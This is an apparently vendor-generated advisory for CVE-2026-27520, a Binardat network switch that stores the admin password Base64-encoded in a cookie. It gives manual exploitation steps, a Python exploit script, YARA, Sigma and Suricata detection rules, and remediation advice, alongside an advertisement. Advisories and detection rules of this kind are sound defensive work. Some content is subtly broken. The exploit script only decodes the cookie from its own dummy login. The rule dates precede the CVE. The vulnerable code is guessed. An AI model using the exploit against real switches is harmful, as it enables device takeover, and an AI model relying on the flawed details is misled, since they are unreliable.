CVE-2026-27520
Executive Summary
CVE-2026-27520 exposes a critical credential storage vulnerability in Binardat 10G08-0800GSM network switches running firmware versions prior to V300SP10260209. The web interface stores a user password in a client-side cookie as a Base64-encoded value. Since Base64 encoding is trivially reversible and provides no cryptographic confidentiality, any attacker who can intercept or access this cookie (e.g., via XSS, network sniffing, or physical access) can recover the plaintext password. This effectively bypasses authentication controls and can lead to full administrative compromise of the switch.
The vulnerability is classified as High Severity due to the ease of exploitation and the potential for complete device takeover. No public exploit code or Nuclei template is available at this time, but the weakness is straightforward to exploit manually.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a proprietary embedded device (Binardat network switch). No open-source package dependencies are involved.
CVSS Breakdown & Threat Level
CVSS Score: 7.5 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector (AV) | Network | The cookie is accessible over the network via the web interface. |
| Attack Complexity (AC) | Low | Base64 decoding is trivial; no special conditions required. |
| Privileges Required (PR) | None | The cookie is set upon login and can be read by any client-side script or network observer. |
| User Interaction (UI) | None | No user action beyond normal login is needed. |
| Scope (S) | Unchanged | The vulnerable component is the switch itself. |
| Confidentiality (C) | High | Plaintext password is fully exposed. |
| Integrity (I) | None | No direct integrity impact from reading the cookie. |
| Availability (A) | None | No direct availability impact. |
Threat Level: High. The attack surface is broad (any network path to the switch), and the exploitation cost is near zero.
Deep Dive & Mechanics
The Binardat 10G08-0800GSM switch provides a web-based management interface. When an administrator authenticates, the server sets a cookie containing the user's password encoded in Base64. This cookie is then used for subsequent requests to maintain session state.
Why Base64 is insufficient:
- Base64 is an encoding scheme, not encryption. It is designed to represent binary data in ASCII, not to protect secrets.
- Decoding a Base64 string is a one-liner in any programming language (e.g.,
echo "cGFzc3dvcmQ=" | base64 -d). - The cookie is stored client-side and can be read by:
- JavaScript (if XSS exists or via browser dev tools)
- Network sniffers (if HTTP is used instead of HTTPS)
- Any process with access to the browser's cookie store
Attack Flow:
- Attacker gains access to the victim's browser (via XSS, physical access, or network interception).
- Attacker extracts the cookie (e.g.,
document.cookie). - Attacker Base64-decodes the cookie value to obtain the plaintext password.
- Attacker uses the password to log in to the switch's web interface with full administrative privileges.
Vulnerable vs. Patched Code
Vulnerable (Firmware < V300SP10260209): The server-side code likely does something like:
# Pseudocode
cookie_value = base64.b64encode(user_password.encode()).decode()
response.set_cookie("auth", cookie_value)
Patched (Firmware >= V300SP10260209): The patched version should:
- Store a session token (random, non-guessable) instead of the password.
- Use secure, HttpOnly, and SameSite cookie flags.
- Optionally encrypt the session token with a server-side secret.
Example of patched approach:
# Pseudocode
session_token = secrets.token_hex(32)
store_in_session_db(session_token, user_id)
response.set_cookie("session", session_token, httponly=True, secure=True, samesite="Strict")
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Access to the switch's web interface (network connectivity).
- Ability to read cookies (e.g., via browser dev tools, XSS, or packet capture).
Manual Exploitation Steps:
- Log in to the switch web interface.
- Open browser developer tools (F12) → Application → Cookies.
- Locate the cookie containing the Base64-encoded password (likely named
author similar). - Copy the cookie value.
- Decode it:
Output:echo "YWRtaW46cGFzc3dvcmQ=" | base64 -dadmin:password - Use the recovered credentials to log in.
Automated Exploit (Python):
import requests
import base64
target = "http://192.168.1.1"
# Step 1: Login (if needed) to get cookie
session = requests.Session()
login_data = {"user": "admin", "pass": "anything"} # dummy
resp = session.post(f"{target}/login", data=login_data)
# Step 2: Extract cookie
for cookie in session.cookies:
if "auth" in cookie.name.lower():
encoded = cookie.value
decoded = base64.b64decode(encoded).decode()
print(f"Recovered credentials: {decoded}")
Blue Team (Detection & Hardening)
Detection:
- Monitor for repeated login attempts from the same IP.
- Alert on any use of the
authcookie name in HTTP requests (indicates vulnerable firmware). - Check for Base64-encoded strings in cookies via WAF or proxy.
Hardening:
- Immediately upgrade to firmware V300SP10260209 or later.
- If upgrade is not possible, restrict access to the web interface to trusted IPs only.
- Use HTTPS to prevent cookie interception over the network.
- Implement additional authentication factors (e.g., SSH key-based access).
Indicators of Compromise (IOCs)
| Type | Indicator | Description |
|---|---|---|
| Cookie | auth (or similar) containing Base64 string |
Presence of this cookie indicates vulnerable firmware. |
| Network | HTTP request with cookie auth=* |
Any request carrying this cookie. |
| Log | Successful login from unexpected IP | After password recovery, attacker may log in. |
| File | Base64-encoded password in browser cache | Attacker may store decoded password locally. |
YARA Rule (for forensic analysis of captured traffic or logs):
rule Binardat_Base64_Cookie {
meta:
description = "Detects Base64-encoded password cookie in Binardat switch traffic"
author = "Valters IT"
date = "2025-04-14"
strings:
$cookie_name = "auth="
$base64_pattern = /[A-Za-z0-9+\/]{20,}={0,2}/
condition:
$cookie_name and #base64_pattern > 0
}
Detection Engineering
YARA Rule (for PCAP or log analysis)
rule Binardat_Credential_Leak {
meta:
description = "Detects Binardat switch credential leak via Base64 cookie"
author = "Valters IT"
date = "2025-04-14"
reference = "CVE-2026-27520"
strings:
$cookie = "auth=" nocase
$b64 = /[A-Za-z0-9+\/]{20,}={0,2}/
condition:
$cookie and $b64
}
Sigma Rule (for SIEM detection)
title: Binardat Switch Base64 Password Cookie
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP responses containing a Base64-encoded password cookie from Binardat switches
author: Valters IT
date: 2025-04-14
logsource:
category: webserver
product: generic
detection:
selection:
cs-cookie|contains: "auth="
cs-uri|contains: "/login"
condition: selection
falsepositives:
- Legitimate use of Base64 for non-credential data (unlikely)
level: high
Suricata Rule (for network IDS)
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2026-27520 Binardat Switch Base64 Password Cookie";
flow:to_server,established;
content:"auth="; http_cookie;
pcre:"/[A-Za-z0-9+\/]{20,}={0,2}/";
classtype:attempted-user;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade firmware to version V300SP10260209 or later. This is the only complete fix.
- Restrict network access to the web interface using ACLs or firewall rules (allow only trusted admin IPs).
- Disable the web interface if not required; use SSH or console access instead.
Long-Term Hardening:
- Implement HTTPS with a valid certificate to encrypt cookie transmission.
- Enforce strong password policies and multi-factor authentication where possible.
- Regularly audit firmware versions and apply vendor security patches.
- Monitor logs for anomalous login activity.
Workaround (if patching is delayed):
- Use a reverse proxy (e.g., Nginx) in front of the switch to strip or rewrite the vulnerable cookie.
- Implement a WAF rule to block requests containing Base64-encoded cookies.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated for CVE-2026-27520